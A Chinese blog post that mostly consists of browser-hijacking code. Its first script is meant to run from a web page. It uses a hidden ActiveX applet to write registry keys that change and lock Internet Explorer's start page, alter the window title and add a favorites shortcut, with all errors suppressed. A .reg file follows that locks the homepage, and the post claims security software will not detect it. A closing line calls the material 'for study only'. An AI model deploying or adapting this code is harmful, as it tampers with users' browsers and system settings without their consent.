这段代码主要实现了通过javascript修改注册表中的信息,不过现在所有杀软都已列入了黑名单,代码中的F935DC26-1CF0-11D0-ADB9-00C04FD58A0B 这个字符串在目前的电脑中已经不存在了,但是分析这段代码还有其它的收获,代码如下:

 

 
  
  1. <script>  
  2. document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");  
  3. function AddFavLnk(loc, DispName, SiteURL)  
  4. {  
  5. var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");  
  6. Shor.TargetPath = SiteURL;  
  7. Shor.Save();  
  8. }  
  9. function f(){  
  10. try 
  11. {  
  12. //ActiveX 初始化  
  13. a1=document.applets[0];  
  14. a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");  
  15. a1.createInstance();  
  16. Shl = a1.GetObject();  
  17. a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");  
  18. a1.createInstance();  
  19. FSO = a1.GetObject();  
  20. a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");  
  21. a1.createInstance();  
  22. Net = a1.GetObject();  
  23. try 
  24. {  
  25. if (document.cookie.indexOf("Chg") == -1)  
  26. {  
  27. //设置Cookie  
  28. var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));  
  29. document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
  30. //设置Cookie完毕  
  31. //设置主页  
  32. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page""http://sucre.javaeye.com/");  
  33. //修改浏览器的标题  
  34. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title""你的Internet Explorer已经被修改过了 By Sucre");  
  35. //锁定浏览器首页  
  36. Sh1.RegWrite("HKCR\\CLSID\\{871C5380-42A0-1069-A2EA-08002B30309D}\\shell\\OpenHomePage\\Command\\@","'\"C:\\Program Files\\Internet Explorer\\IExplore.exe\"' http://sucre.javaeye.com");  
  37. //设置Cookie  
  38. var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));  
  39. document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 
  40. var WF, Shor, loc;  
  41. WF = FSO.GetSpecialFolder(0);  
  42. loc = WF + "\\Favorites";  
  43. if(!FSO.FolderExists(loc))  
  44. {  
  45. loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";  
  46. if(!FSO.FolderExists(loc))  
  47. {  
  48. return;  
  49. }  
  50. }  
  51. AddFavLnk(loc, "我的博客""http://sucre.blog.51cto.com");  
  52. }  
  53. }  
  54. catch(e)  
  55. {}  
  56. }  
  57. catch(e)  
  58. {}  
  59. }  
  60.  
  61.  
  62.  
  63. function init()  
  64. {  
  65. setTimeout("f()", 1000);  
  66. }  
  67. init();  
  68. </script> 

 其实,用其它脚本也可以实现锁定主页,比如批处理,下面这段代码就锁住了主页,一开IE就会显示指定的页面,这种指向方法所有的防护软件都不会报警,代码如下:

 
  
  1. Windows Registry Editor Version 5.00  
  2.  
  3. [HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]  
  4.  
  5. @="\"C:\\Program Files\\Internet Explorer\\IExplore.exe\" http://sucre.blog.51cto.com"  

 以上文字仅供学习交流,不要用于非法操作,否则后果自负!